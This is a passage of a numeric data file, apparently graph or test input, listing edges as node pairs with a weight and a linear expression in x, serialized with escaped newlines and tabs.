3879\n84->24\t65\t87187*x + 12711\n55->24\t65\t52627*x + 6785\n35->94\t125\t87221*x + 14467\n26->81\t32\t49253*x + 1000\n78->82\t40\t10831*x + 4396\n80->45\t13\t10399*x + 7290\n24->74\t55\t5563*x + 8189\n11->19\t61\t104087*x + 14555\n62->45\t13\t92333*x + 14228\n96->99\t54\t98899*x + 8482\n92->20\t62\t95531*x + 8324\n6->69\t59\t32801*x + 6866\n65->5\t82\t35491*x + 3737\n34->16\t66\t31793*x + 1114\n94->70\t57\t35257*x + 5881\n26->14\t77\t102769*x + 12899\n78->1\t112\t90647*x + 10017\n76->39\t113\t86399*x + 10647\n41->94\t125\t44687*x + 2088\n76->87\t121\t8353*x + 5762\n17->28\t50\t29437*x + 2123\n19->30\t96\t15737*x + 2633\n28->58\t35\t71359*x + 8111\n61->2\t72\t33937*x + 370\n4->62\t103\t9497*x + 7879\n9->14\t77\t37003*x + 4411\n44->68\t36\t93179*x + 9880\n76->92\t51\t102101*x + 10386\n59->3\t118\t101051*x + 15180\n30->76\t124\t29611*x + 7703\n10->26\t81\t31973*x + 815\n39->13\t99\t20047*x + 3349\n48->95\t111\t86783*x + 16027\n74->16\t66\t46573*x + 4029\n89->80\t110\t80909*x + 1012\n55->61\t10\t23*x + 5045\n34->52\t42\t32503*x + 5010\n18->42\t87\t9239*x + 8016\n21->87\t121\t75389*x + 3661\n51->71\t37\t48947*x + 3459\n21->16\t66\t2143*x + 7612\n70->1\t112\t80491*x + 5438\n4->78\t76\t33073*x + 2407\n65->61\t10\t8039*x + 3012\n88->52\t42\t74903*x + 8050\n95->91\t91\t3019*x + 3546\n86->82\t40\t29131*x + 3360\n62->18\t80\t20233*x + 3854\n57->58\t35\t71761*x + 6590\n45->92\t51\t11351*x + 6425\n80->57\t109\t25889*x + 137\n73->14\t77\t59453*x + 4891\n80->94\t125\t73721*x + 3164\n67->61\t10\t35027*x + 7163\n96->3\t118\t58603*x + 2798\n33->63\t60\t64433*x + 5605\n95->68\t36\t48649*x + 4617\n70->44\t45\t95773*x + 12231\n4->1\t112\t103457*x + 9799\n22->90\t86\t64811*x + 7459\n56->54\t94\t9109*x + 6578\n79->66\t44\t25439*x + 6839\n49->16\t66\t29179*x + 980\n12->85\t83\t21517*x + 1295\n17->50\t116\t57413*x + 8088\n26->80\t110\t30391*x + 6575\n41->92\t51\t93329*x + 11395\n72->19\t61\t32969*x + 2377\n62->26\t81\t26387*x + 1869\n95->90\t86\t5569*x + 6168\n41->44\t45\t93239*x + 11521\n97->21\t9\t24007*x + 7451\n88->70\t57\t77687*x + 481\n9->73\t102\t49031*x + 3664\n21->86\t53\t79531*x + 3117\n96->10\t46\t85571*x + 11710\n24->99\t54\t95569*x + 13032\n2->58\t35\t48187*x + 820\n63->56\t119\t12539*x + 3819\n25->6\t123\t104347*x + 12249\n25->32\t69\t27689*x + 35\n68->50\t116\t85843*x + 10846\n80->76\t124\t17203*x + 4407\n5->50\t116\t88789*x + 14794\n89->20\t62\t10867*x + 6060\n64->12\t101\t1321*x + 4090\n53->73\t102\t18199*x + 709\n63->0\t33\t54037*x + 1868\n8->30\t96\t23447*x + 1016\n55->39\t113\t46567*x + 6856\n35->44\t45\t82699*x + 8090\n40->51\t97\t102031*x + 12399\n92->16\t66\t29167*x + 7853\n91->83\t12\t81701*x + 7280\n43->30\t96\t29473*x + 7113\n44->10\t46\t28771*x + 4916\n71->94\t125\t28921*x + 5371\n7->25\t52\t857*x + 155\n85->55\t39\t52027*x + 2833\n78->10\t46\t62129*x + 5416\n43->16\t66\t19429*x + 1157\n20->25\t52\t30941*x + 4094\n23->93\t98\t104323*x + 9727\n86->6\t123\t16691*x + 212\n35->0\t33\t22961*x + 7875\n62->85\t83\t26021*x + 4997\n37->51\t97\t34157*x + 3408\n38->92\t51\t40213*x + 8092\n75->65\t95\t95923*x + 14278\n99->92\t51\t5347*x + 7165\n36->82\t40\t38567*x + 2441\n84->25\t52\t9697*x + 3001\n13->73\t102\t100621*x + 9067\n35->47\t90\t103651*x + 8356\n46->0\t33\t28109*x + 5934\n56->81\t32\t35407*x + 6806\n86->86\t53\t13841*x + 5173\n64->17\t104\t4027*x + 507\n73->30\t96\t54713*x + 5044\n71->28\t50\t77347*x + 611\n59->46\t74\t26813*x + 2961\n10->20\t62\t19543*x + 8060\n27->2\t72\t9941*x + 8032\n28->47\t90\t40153*x + 6858\n93->36\t79\t31231*x + 4297\n74->22\t64\t38803*x + 1140\n86->28\t50\t15287*x + 7313\n27->29\t38\t22697*x + 5263\n28->28\t50\t3181*x + 2795\n45->4\t48\t53951*x + 558\n12->50\t116\t76801*x + 6483\n61->48\t78\t39623*x + 2952\n97->32\t69\t59113*x + 1376\n14->16\t66\t24709*x + 797\n5->80\t110\t32003*x + 3084\n79->84\t89\t19913*x + 7781\n1->33\t122\t14419*x + 2767\n39->90\t86\t83911*x + 3840\n71->71\t37\t27763*x + 7963\n2->63\t60\t76261*x + 3308\n10->1\t112\t96001*x + 13243\n11->44\t45\t9649*x + 4937\n52->91\t91\t72269*x + 4578\n62->42\t87\t55733*x + 4602\n80->32\t69\t90121*x + 15853\n58->63\t60\t42961*x + 103\n35->1\t112\t99109*x + 12532\n7->41\t73\t15649*x + 3336\n75->22\t64\t9041*x + 3312\n32->20\t62\t69203*x + 1158\n45->29\t38\t97777*x + 13131\n54->88\t71\t104297*x + 9752\n78->97\t108\t677*x + 7633\n16->97\t108\t32717*x + 4182\n95->74\t55\t78229*x + 3783\n51->29\t38\t29129*x + 5265\n44->37\t114\t11383*x + 3264\n64->4\t48\t58427*x + 47\n86->70\t57\t79631*x + 4298\n51->21\t9\t35831*x + 3936\n36->10\t46\t17903*x + 2239\n73->10\t46\t2621*x + 1153\n72->48\t78\t10321*x + 1549\n15->43\t105\t1879*x + 5437\n66->98\t93\t839*x + 4065\n35->27\t58\t96493*x + 10920\n27->23\t11\t2543*x + 124\n98->83\t12\t88093*x + 9929\n62->70\t57\t48131*x + 1905\n69->91\t91\t49919*x + 6125\n85->9\t115\t46691*x + 4072\n18->25\t52\t1933*x + 5305\n91->54\t94\t9787*x + 7851\n6->51\t97\t57283*x + 3706\n77->76\t124\t100669*x + 11060\n82->84\t89\t2221*x + 2649\n3->86\t53\t7877*x + 5888\n49->28\t50\t11257*x + 8140\n40->57\t109\t89119*x + 13904\n33->71\t37\t14503*x + 5972\n51->33\t122\t87359*x + 15241\n2->37\t114\t79589*x + 2419\n1->59\t84\t101341*x + 13248\n90->75\t56\t55927*x + 1772\n12->83\t12\t3943*x + 3901\n46->31\t47\t44381*x + 5963\n20->27\t58\t13757*x + 6330\n9->33\t122\t33151*x + 7393\n45->69\t59\t79349*x + 6791\n30->16\t66\t18869*x + 905\n32->71\t37\t90289*x + 15292\n58->61\t10\t11171*x + 3558\n23->15\t63\t41647*x + 1061\n12->28\t50\t12113*x + 3996\n69->94\t125\t35083*x + 4603\n46->55\t39\t80471*x + 8186\n49->65\t95\t68443*x + 5953\n88->76\t124\t1733*x + 5273\n49->15\t63\t84299*x + 8975\n4->29\t38\t1087*x + 1689\n81->68\t36\t50441*x + 1827\n23->37\t114\t101411*x + 8831\n47->30\t96\t72547*x + 5596\n5->76\t124\t2357*x + 3093\n21->38\t75\t88523*x + 9025\n62->98\t93\t94049*x + 12254\n89->61\t10\t41357*x + 701\n40->99\t54\t95233*x + 16019\n56->94\t125\t41177*x + 3830\n27->61\t10\t5647*x + 958\n66->49\t68\t47389*x + 2612\n25->45\t13\t21683*x + 2989\n76->10\t46\t6899*x + 6163\n23->28\t50\t54083*x + 3500\n38->44\t45\t66221*x + 3763\n82->99\t54\t53527*x + 3683\n71->72\t92\t8971*x + 6214\n6->14\t77\t31147*x + 221\n31->12\t101\t2713*x + 2462\n71->73\t102\t9227*x + 7143\n80->87\t121\t104381*x + 11283\n73->85\t83\t54787*x + 2205\n53->89\t107\t14731*x + 998\n38->30\t96\t20947*x + 7862\n16->49\t68\t18089*x + 2976\n32->1\t112\t74279*x + 4575\n32->51\t97\t82913*x + 7401\n72->44\t45\t23297*x + 575\n27->31\t47\t60943*x + 3963\n58->24\t65\t81023*x + 4932\n24->63\t60\t83227*x + 2669\n63->84\t89\t28591*x + 5902\n55->58\t35\t5573*x + 194\n81->64\t70\t54751*x + 1513\n34->10\t46\t54881*x + 3749\n26->8\t49\t16363*x + 6544\n60->10\t46\t84437*x + 9267\n94->29\t38\t50909*x + 8087\n29->68\t36\t41887*x + 7376\n32->63\t60\t94253*x + 10436\n76->57\t109\t84221*x + 10979\n58->2\t72\t14717*x + 6888\n10->57\t109\t98101*x + 14011\n77->33\t122\t69929*x + 1628\n62->84\t89\t67807*x + 7939\n38->4\t48\t53089*x + 4748\n80->77\t106\t40903*x + 3423\n30->44\t45\t98299*x + 11475\n32->50\t116\t104183*x + 12833\n98->36\t79\t79939*x + 6644\n74->96\t67\t6121*x + 7324\n10->22\t64\t82787*x + 7777\n18->98\t93\t103997*x + 13591\n42->72\t92\t15607*x + 2374\n9->10\t46\t67957*x + 787\n56->47\t90\t47711*x + 2567\n56->37\t114\t21481*x + 3398\n76->73\t102\t66739*x + 5526\n68->59\t84\t67061*x + 5856\n44->77\t106\t1907*x + 6637\n51->36\t79\t72469*x + 6690\n72->20\t62\t4463*x + 7162\n66->46\t74\t57781*x + 5933\n71->1\t112\t3617*x + 2826\n38->90\t86\t47657*x + 6814\n13->18\t80\t1597*x + 166\n16->27\t58\t6917*x + 5789\n95->36\t79\t98939*x + 11009\n59->9\t115\t60037*x + 938\n53->52\t42\t55681*x + 5001\n64->20\t62\t77893*x + 6121\n88->53\t120\t76781*x + 5262\n82->2\t72\t97927*x + 16168\n16->62\t103\t16057*x + 1652\n54->15\t63\t9883*x + 2637\n2->23\t11\t37243*x + 1665\n49->24\t65\t11003*x + 5781\n34->31\t47\t56267*x + 1737\n46->68\t36\t15473*x + 553\n12->41\t73\t8419*x + 1136\n48->85\t83\t80567*x + 7688\n25->17\t104\t27737*x + 7164\n9->16\t66\t15619*x + 877\n75->78\t76\t47963*x + 7238\n3->57\t109\t89123*x + 9922\n76->19\t61\t2957*x + 2076\n26->75\t56\t36559*x + 6283\n36->71\t37\t93893*x + 15473\n16->55\t39\t53887*x + 4586\n48->83\t12\t16931*x + 7159\n43->39\t113\t99563*x + 14241\n45->78\t76\t57241*x + 1711\n11->8\t49\t38351*x + 7220\n95->56\t119\t66797*x + 2385\n52->1\t112\t56663*x + 878\n68->16\t66\t6781*x + 8049\n85->67\t117\t12347*x + 5388\n27->48\t78\t99497*x + 11087\n53->94\t125\t9257*x + 3853\n72->91\t91\t91453*x + 11841\n91->0\t33\t74887*x + 4796\n81->54\t94\t31687*x + 3857\n13->98\t93\t12433*x + 1238\n65->28\t50\t18119*x + 7300\n45->95\t111\t7951*x + 6281\n57->95\t111\t43103*x + 2659\n44->39\t113\t21803*x + 5559\n67->90\t86\t73951*x + 2399\n58->22\t64\t41011*x + 7402\n93->60\t85\t81041*x + 7627\n29->46\t74\t27077*x + 1487\n60->19\t61\t93739*x + 15993\n99->20\t62\t51683*x + 7741\n10->86\t53\t607*x + 2530\n83->69\t59\t68053*x + 3780\n18->44\t45\t21737*x + 1428\n8->85\t83\t103183*x + 11880\n0->6\t123\t101873*x + 12173\n1->85\t83\t45307*x + 6957\n21->50\t116\t66821*x + 3371\n73->19\t61\t102259*x + 13005\n37->45\t13\t23747*x + 4021\n65->42\t87\t42061*x + 2355\n43->72\t92\t38723*x + 6589\n75->13\t99\t983*x + 6119\n87->35\t88\t28901*x + 2747\n56->69\t59\t78401*x + 5987\n86->90\t86\t4723*x + 6321\n25->36\t79\t6833*x + 3613\n49->43\t105\t35771*x + 5601\n59->74\t55\t9349*x + 454\n46->44\t45\t47137*x + 4754\n54->35\t88\t67843*x + 7005\n28->14\t77\t72719*x + 390\n16->4\t48\t31729*x + 7597\n36->99\t54\t94777*x + 8312\n85->36\t79\t35911*x + 1801\n72->9\t115\t49789*x + 1435\n32->2\t72\t12391*x + 6695\n75->76\t124\t101293*x + 13713\n35->99\t54\t13829*x + 2962\n74->6\t123\t7643*x + 8024\n79->57\t109\t87083*x + 10212\n9->5\t82\t36313*x + 1407\n26->93\t98\t10531*x + 2762\n38->23\t11\t45677*x + 3289\n22->28\t50\t39023*x + 172\n10->79\t100\t83093*x + 3228\n15->78\t76\t96337*x + 11129\n84->7\t126\t24697*x + 4186\n48->59\t84\t66103*x + 5979\n63->34\t41\t14293*x + 7284\n17->58\t35\t99643*x + 16154\n52->77\t106\t79889*x + 1189\n64->94\t125\t5641*x + 2858\n5->29\t38\t89767*x + 10407\n31->9\t115\t37339*x + 8047\n59->67\t117\t5209*x + 6848\n98->28\t50\t56041*x + 6722\n74->28\t50\t61001*x + 319\n61->32\t69\t6997*x + 4134\n24->30\t96\t25579*x + 5899\n68->1\t112\t20641*x + 7577\n64->64\t70\t80629*x + 3083\n76->91\t91\t90833*x + 16058\n19->67\t117\t18671*x + 2520\n22->48\t78\t6421*x + 1932\n80->83\t12\t27953*x + 6253\n91->24\t65\t54679*x + 3770\n21->55\t39\t1129*x + 2430\n38->63\t60\t63067*x + 1777\n73->25\t52\t7577*x + 1598\n22->22\t64\t6451*x + 2850\n21->49\t68\t42407*x + 5783\n68->3\t118\t13037*x + 984\n88->59\t84\t73181*x + 8030\n70->95\t111\t92657*x + 13761\n48->67\t117\t42989*x + 5848\n7->26\t81\t38321*x + 4497\n72->96\t67\t3877*x + 4747\n0->75\t56\t89839*x + 12807\n81->38\t75\t81727*x + 7329\n99->53\t120\t11447*x + 3324\n47->38\t75\t51031*x + 3240\n85->7\t126\t54371*x + 1414\n24->19\t61\t32911*x + 4463\n73->0\t33\t14969*x + 7716\n30->28\t50\t91841*x + 9473\n84->88\t71\t55639*x + 1802\n0->22\t64\t41387*x + 2832\n94->37\t114\t21211*x + 3204\n33->79\t100\t60331*x + 2310\n57->53\t120\t16811*x + 7755\n74->83\t12\t71473*x + 126\n56->21\t9\t19867*x + 1176\n64->70\t57\t42283*x + 1815\n80->89\t107\t20029*x + 1693\n48->46\t74\t5167*x + 6114\n68->27\t58\t53759*x + 2229\n72->99\t54\t26053*x + 5107\n44->85\t83\t66931*x + 6512\n89->88\t71\t60223*x + 6872\n72->53\t120\t3797*x + 7745\n37->61\t10\t24421*x + 2541\n9->28\t50\t25469*x + 5462\n89->51\t97\t8681*x + 4599\n8->52\t42\t8563*x + 6091\n43->38\t75\t6079*x + 5082\n3->83\t12\t58337*x + 518\n71->32\t69\t56501*x + 6504\n55->26\t81\t45497*x + 2180\n43->25\t52\t2657*x + 5112\n17->80\t110\t17231*x + 2033\n28->61\t10\t60679*x + 5140\n18->81\t32\t50207*x + 7188\n46->90\t86\t19013*x + 6633\n35->16\t66\t47653*x + 3657\n32->75\t56\t45377*x + 4903\n50->20\t62\t7549*x + 5541\n73->82\t40\t93337*x + 9940\n93->78\t76\t6301*x + 1211\n10->23\t11\t38729*x + 409\n38->36\t79\t74231*x + 4456\n31->60\t85\t14177*x + 4135\n49->2\t72\t22739*x + 4872\n15->34\t41\t9923*x + 4213\n3->48\t78\t37307*x + 3870\n41->21\t9\t81637*x + 1241\n99->16\t66\t28219*x + 1103\n10->46\t74\t38737*x + 7128\n88->79\t100\t3931*x + 5285\n56->79\t100\t25013*x + 5706\n86->95\t111\t53233*x + 1104\n25->44\t45\t60637*x + 386\n2->28\t50\t50971*x + 6207\n4->88\t71\t67141*x + 374\n26->32\t69\t29251*x + 7182\n38->42\t87\t2767*x + 1736\n45->20\t62\t74573*x + 1082\n32->10\t46\t2111*x + 2784\n31->19\t61\t102107*x + 9684\n32->64\t70\t46181*x + 5895\n32->15\t63\t78893*x + 3476\n43->14\t77\t3169*x + 1264\n36->13\t99\t93949*x + 12825\n19->80\t110\t59747*x + 3953\n30->87\t121\t88327*x + 14545\n57->77\t106\t90107*x + 9286\n2->55\t39\t29917*x + 8051\n54->61\t10\t57689*x + 4150\n5->62\t103\t38459*x + 4177\n52->62\t103\t60917*x + 1755\n13->10\t46\t70969*x + 3419\n59->64\t70\t84551*x + 13295\n73->77\t106\t69149*x + 4296\n92->50\t116\t1663*x + 3348\n27->95\t111\t21313*x + 127\n72->8\t49\t84263*x + 9591\n34->98\t93\t23561*x + 3772\n22->49\t68\t77983*x + 4161\n13->31\t47\t87589*x + 12477\n73->60\t85\t90911*x + 10590\n0->18\t80\t89657*x + 8371\n21->35\t88\t46073*x + 2834\n50->71\t37\t30703*x + 7282\n27->93\t98\t40849*x + 6680\n1->1\t112\t102761*x + 15609\n29->13\t99\t15541*x + 3566\n11->96\t67\t87383*x + 11069\n72->86\t53\t48539*x + 2886\n28->92\t51\t33941*x + 6727\n83->64\t70\t99971*x + 15988\n65->14\t77\t85213*x + 10431\n37->83\t12\t52567*x + 2651\n37->58\t35\t1613*x + 1386\n32->34\t41\t29173*x + 4563\n99->29\t38\t16333*x + 6932\n85->17\t104\t90599*x + 11695\n3->55\t39\t8093*x + 4364\n99->79\t100\t21529*x + 1672\n10->6\t123\t40087*x + 1091\n79->78\t76\t13633*x + 3115\n18->56\t119\t94327*x + 9980\n85->42\t87\t80513*x + 7878\n54->74\t55\t9241*x + 7450\n99->93\t98\t81769*x + 21\n65->90\t86\t48673*x + 6904\n35->68\t36\t101957*x + 12252\n66->57\t109\t75167*x + 5024\n78->4\t48\t19553*x + 3522\n49->79\t100\t55441*x + 4917\n14->0\t33\t41579*x + 1126\n99->63\t60\t67783*x + 5481\n96->86\t53\t22637*x + 4714\n73->71\t37\t13297*x + 851\n28->60\t85\t1223*x + 5194\n8->68\t36\t42611*x + 4841\n72->16\t66\t34913*x + 6211\n96->28\t50\t49367*x + 2218\n58->38\t75\t24809*x + 5197\n62->36\t79\t79393*x + 5346\n48->79\t100\t85109*x + 9773\n62->57\t109\t20753*x + 7966\n72->95\t111\t28463*x + 5931\n16->98\t93\t6569*x + 1706\n71->98\t93\t30971*x + 3805\n89->28\t50\t101489*x + 9230\n19->21\t9\t56611*x + 3465\n71->26\t81\t24223*x + 6098\n78->93\t98\t91153*x + 8971\n5->70\t57\t6029*x + 571\n83->37\t114\t48017*x + 4732\n67->78\t76\t88129*x + 15254\n44->69\t59\t35059*x + 2736\n80->70\t57\t77573*x + 6666\n73->87\t121\t73877*x + 2928\n65->18\t80\t35053*x + 7089\n79->69\t59\t22031*x + 2707\n57->21\t9\t4349*x + 6033\n4->43\t105\t78167*x + 6299\n87->95\t111\t27367*x + 6586\n47->94\t125\t15887*x + 4959\n17->99\t54\t66721*x + 8013\n15->87\t121\t3571*x + 4259\n74->79\t100\t66883*x + 694\n79->0\t33\t89513*x + 15372\n25->66\t44\t28927*x + 6825\n0->3\t118\t95597*x + 12049\n71->35\t88\t14281*x + 6027\n18->4\t48\t12277*x + 7096\n66->41\t73\t86981*x + 8199\n46->57\t109\t83233*x + 2837\n68->9\t115\t12437*x + 4466\n5->20\t62\t30853*x + 8110\n93->56\t119\t55897*x + 7115\n60->76\t124\t96289*x + 15076\n18->33\t122\t92623*x + 9558\n75->95\t111\t49549*x + 4114\n46->71\t37\t4049*x + 7689\n91->13\t99\t91807*x + 14550\n32->68\t36\t21487*x + 7149\n72->92\t51\t55219*x + 5832\n92->11\t43\t19079*x + 7477\n65->68\t36\t15383*x + 2087\n44->11\t43\t23029*x + 3142\n11->92\t51\t81931*x + 5479\n54->94\t125\t7187*x + 6887\n69->18\t80\t96763*x + 11553\n18->6\t123\t87767*x + 15446\n16->40\t34\t7919*x + 6918\n66->55\t39\t6143*x + 728\n90->36\t79\t2417*x + 4762\n30->85\t83\t76753*x + 5157\n57->44\t45\t26981*x + 5576\n53->36\t79\t21577*x + 892\n44->12\t101\t92233*x + 11056\n66->76\t124\t83257*x + 5836\n77->71\t37\t64709*x + 4159\n15->97\t108\t12143*x + 4256\n93->93\t98\t179*x + 6808\n55->52\t42\t56893*x + 5224\n24->80\t110\t30661*x + 4049\n77->43\t105\t35111*x + 7821\n93->71\t37\t15217*x + 4314\n94->41\t73\t33493*x + 2003\n56->18\t80\t23687*x + 4272\n16->11\t43\t33721*x + 3271\n85->53\t120\t12491*x + 3836\n39->2\t72\t92179*x + 9144\n65->77\t106\t26431*x + 3090\n9->66\t44\t90019*x + 15893\n8->22\t64\t20879*x + 5985\n46->45\t13\t53857*x + 6324\n86->81\t32\t72503*x + 4391\n3->44\t45\t45667*x + 6564\n59->30\t96\t32057*x + 677\n62->23\t11\t97463*x + 13449\n93->17\t104\t20731*x + 1786\n74->74\t55\t8287*x + 6654\n8->4\t48\t25603*x + 3863\n1->74\t55\t19793*x + 1951\n78->36\t79\t62753*x + 1253\n2->56\t119\t57301*x + 227\n10->70\t57\t76943*x + 7315\n21->93\t98\t1997*x + 4775\n70->51\t97\t14897*x + 2067\n27->97\t108\t87121*x + 14868\n38->18\t80\t99233*x + 10115\n41->79\t100\t73037*x + 8184\n4->8\t49\t96893*x + 14384\n78->64\t70\t49921*x + 2880\n85->29\t38\t47507*x + 2881\n78->77\t106\t9181*x + 4551\n14->85\t83\t24571*x + 869\n29->33\t122\t4903*x + 1172\n4->98\t93\t30529*x + 355\n37->68\t36\t27059*x + 3414\n35->64\t70\t75041*x + 80\n56->77\t106\t28843*x + 4970\n22->29\t38\t71471*x + 871\n20->21\t9\t71881*x + 6032\n47->54\t94\t80989*x + 2473\n38->68\t36\t50459*x + 2972\n62->86\t53\t84509*x + 9666\n52->93\t98\t8293*x + 4490\n10->40\t34\t27631*x + 6758\n44->41\t73\t78307*x + 4772\n15->53\t120\t71933*x + 7542\n56->31\t47\t90533*x + 13216\n43->67\t117\t37517*x + 3421\n59->96\t67\t46757*x + 6719\n53->10\t46\t9337*x + 6920\n83->81\t32\t84559*x + 10816\n9->85\t83\t19501*x + 7140\n14->70\t57\t9833*x + 2196\n61->79\t100\t93529*x + 10662\n61->39\t113\t104549*x + 12850\n94->52\t42\t7151*x + 1138\n14->64\t70\t69931*x + 5320\n51->46\t74\t99431*x + 13583\n87->19\t61\t36677*x + 4842\n45->15\t63\t24749*x + 7231\n2->75\t56\t15493*x + 7843\n89->10\t46\t51257*x + 361\n43->88\t71\t84347*x + 10457\n27->50\t116\t14143*x + 49\n26->19\t61\t10267*x + 6122\n13->94\t125\t13963*x + 936\n61->42\t87\t99571*x + 9817\n84->84\t89\t11399*x + 1842\n17->84\t89\t87803*x + 9091\n1->55\t39\t34403*x + 2835\n54->24\t65\t93001*x + 9005\n89->4\t48\t95549*x + 9403\n86->19\t61\t29633*x + 2167\n37->94\t125\t54311*x + 5459\n74->20\t62\t58979*x + 282\n36->49\t68\t39107*x + 1713\n16->75\t56\t26729*x + 7307\n2->42\t87\t54773*x + 2524\n74->59\t84\t25447*x + 2372\n55->46\t74\t101747*x + 8468\n69->14\t77\t2521*x + 6141\n85->85\t83\t84061*x + 14941\n68->2\t72\t62143*x + 5421\n86->85\t83\t4657*x + 3981\n68->52\t42\t50129*x + 2839\n81->59\t84\t30593*x + 1452\n64->45\t13\t86263*x + 16117\n56->11\t43\t103043*x + 13398\n55->84\t89\t31643*x + 1151\n74->12\t101\t257*x + 3905\n96->42\t87\t79609*x + 8135\n40->47\t90\t68927*x + 7074\n60->45\t13\t36191*x + 5592\n46->23\t11\t55793*x + 3252\n89->74\t55\t82729*x + 1446\n2->85\t83\t70571*x + 1337\n57->96\t67\t83737*x + 1870\n6->7\t126\t43319*x + 2544\n73->41\t73\t61543*x + 2726\n81->62\t103\t100547*x + 9993\n36->43\t105\t98963*x + 10147\n80->34\t41\t64951*x + 1558\n26->84\t89\t73961*x + 2288\n66->4\t48\t7757*x + 18\n71->97\t108\t101279*x + 9837\n66->53\t120\t45481*x + 4908\n21->19\t61\t27479*x + 7558\n20->12\t101\t26501*x + 2521\n3->81\t32\t2551*x + 1699\n37->74\t55\t30911*x + 5624\n52->26\t81\t59627*x + 5845\n66->71\t37\t44579*x + 3789\n63->89\t107\t100271*x + 12032\n70->78\t76\t14033*x + 2481\n92->8\t49\t83063*x + 5911\n32->73\t102\t37369*x + 7227\n68->85\t83\t99709*x + 14502\n79->56\t119\t96989*x + 10917\n41->43\t105\t55817*x + 2411\n79->55\t39\t74413*x + 4606\n31->28\t50\t3697*x + 824\n37->55\t39\t70451*x + 5124\n42->6\t123\t16061*x + 8112\n23->33\t122\t78311*x + 3621\n12->1\t112\t59971*x + 7118\n19->42\t87\t77681*x + 6105\n54->69\t59\t19237*x + 4236\n72->64\t70\t48073*x + 2842\n12->19\t61\t90059*x + 15072\n50->44\t45\t41189*x + 901\n74->26\t81\t1697*x + 7765\n58->78\t76\t40829*x + 2900\n42->39\t113\t96797*x + 12337\n15->14\t77\t65179*x + 3059\n79->37\t114\t95819*x + 15341\n86->91\t91\t2213*x + 4022\n13->70\t57\t50929*x + 3245\n88->39\t113\t32321*x + 372\n40->44\t45\t44777*x + 4812\n49->85\t83\t10799*x + 642\n15->92\t51\t3209*x + 3508\n96->6\t123\t100279*x + 11887\n71->18\t80\t40973*x + 7002\n19->46\t74\t58417*x + 7216\n45->54\t94\t31139*x + 6492\n79->82\t40\t47939*x + 7940\n1->9\t115\t74363*x + 2360\n19->44\t45\t56711*x + 7584\n20->53\t120\t34057*x + 2898\n72->90\t86\t64891*x + 4081\n10->80\t110\t27901*x + 5213\n88->62\t103\t21601*x + 6833\n54->43\t105\t51913*x + 123\n91->23\t11\t73679*x + 226\n94->93\t98\t100943*x + 15278\n23->34\t41\t67211*x + 5499\n81->93\t98\t12251*x + 6847\n26->65\t95\t41051*x + 2503\n34->50\t116\t19927*x + 2748\n27->5\t82\t76679*x + 6426\n50->83\t12\t33967*x + 6300\n35->10\t46\t44189*x + 1773\n52->56\t119\t59497*x + 7707\n16->6\t123\t10067*x + 2723\n6->28\t50\t44357*x + 271\n74->24\t65\t80651*x + 4086\n64->40\t34\t70549*x + 5500\n84->3\t118\t87917*x + 13808\n71->11\t43\t1301*x + 5052\n19->9\t115\t21557*x + 1137\n26->29\t38\t77191*x + 2426\n63->67\t117\t23189*x + 3641\n14->96\t67\t69163*x + 2992\n1->19\t61\t102871*x + 15605\n45->26\t81\t84067*x + 15755\n70->33\t122\t28477*x + 4070\n18->57\t109\t4127*x + 5250\n63->28\t50\t92357*x + 13962\n41->19\t61\t1429*x + 7274\n39->10\t46\t100673*x + 14223\n51->83\t12\t1847*x + 5821\n48->96\t67\t58231*x + 4549\n80->17\t104\t99623*x + 14328\n59->84\t89\t47777*x + 868\n82->68\t36\t33757*x + 2480\n17->98\t93\t10651*x + 396\n27->63\t60\t68447*x + 7608\n73->7\t126\t9221*x + 6011\n13->90\t86\t21767*x + 758\n89->95\t111\t58613*x + 7088\n9->58\t35\t11087*x + 5440\n0->14\t77\t18461*x + 37\n92->99\t54\t60509*x + 7079\n88->38\t75\t85451*x + 15937\n14->62\t103\t36691*x + 3719\n41->87\t121\t89293*x + 14595\n48->50\t116\t38851*x + 7294\n45->57\t109\t77279*x + 1250\n37->28\t50\t70039*x + 7525\n20->0\t33\t9547*x + 7936\n91->73\t102\t58271*x + 1020\n20->4\t48\t93703*x + 13477\n29->30\t96\t9283*x + 1370\n48->92\t51\t37313*x + 2926\n39->48\t78\t43787*x + 7837\n69->30\t96\t33587*x + 6058\n52->69\t59\t1931*x + 7670\n1->6\t123\t20759*x + 4659\n16->85\t83\t100517*x + 12913\n5->82\t40\t19219*x + 1219\n5->98\t93\t53657*x + 7400\n54->21\t9\t39791*x + 1273\n44->51\t97\t62141*x + 1817\n17->13\t99\t92569*x + 15827\n67->89\t107\t9851*x + 4677\n97->88\t71\t41669*x + 4018\n56->92\t51\t51431*x + 5043\n96->5\t82\t101419*x + 10626\n99->25\t52\t25633*x + 2859\n4->14\t77\t4871*x + 6818\n94->86\t53\t2549*x + 1469\n58->25\t52\t14083*x + 2916\n25->53\t120\t45061*x + 4733\n22->18\t80\t13229*x + 7186\n99->13\t99\t15527*x + 7536\n94->9\t115\t88337*x + 8470\n5->32\t69\t41017*x + 456\n60->83\t12\t43201*x + 5400\n16->92\t51\t22133*x + 5628\n91->78\t76\t50527*x + 256\n44->25\t52\t79103*x + 1315\n1->78\t76\t33301*x + 4378\n9->42\t87\t3001*x + 7918\n54->11\t43\t29587*x + 1367\n81->18\t80\t33533*x + 2865\n17->26\t81\t99809*x + 8858\n45->14\t77\t19163*x + 5721\n17->36\t79\t2293*x + 2225\n65->99\t54\t79427*x + 3230\n98->97\t108\t85229*x + 13563\n30->17\t104\t78779*x + 2392\n86->96\t67\t13691*x + 3721\n32->43\t105\t76367*x + 3305\n14->7\t126\t82721*x + 7540\n79->16\t66\t60209*x + 7694\n54->32\t69\t69029*x + 890\n96->33\t122\t62299*x + 8165\n14->76\t124\t91673*x + 15211\n47->64\t70\t1867*x + 1776\n56->5\t82\t96013*x + 11615\n96->88\t71\t39313*x + 6522\n88->73\t102\t31333*x + 6345\n49->29\t38\t7583*x + 5614\n18->13\t99\t18979*x + 646\n77->34\t41\t53197*x + 495\n83->42\t87\t37181*x + 3924\n15->1\t112\t33851*x + 3350\n11->1\t112\t93103*x + 12938\n21->23\t11\t8011*x + 2308\n7->35\t88\t40483*x + 6026\n27->60\t85\t57223*x + 2662\n27->42\t87\t11617*x + 2471\n76->52\t42\t59399*x + 2192\n53->51\t97\t3739*x + 3009\n57->67\t117\t102121*x + 10363\n41->82\t40\t97039*x + 12422\n81->44\t45\t98047*x + 8980\n53->92\t51\t84991*x + 14251\n6->71\t37\t55661*x + 1779\n36->66\t44\t36217*x + 2352\n42->95\t111\t61169*x + 7387\n58->54\t94\t82529*x + 7776\n38->13\t99\t51001*x + 5170\n20->42\t87\t67103*x + 1440\n69->27\t58\t23509*x + 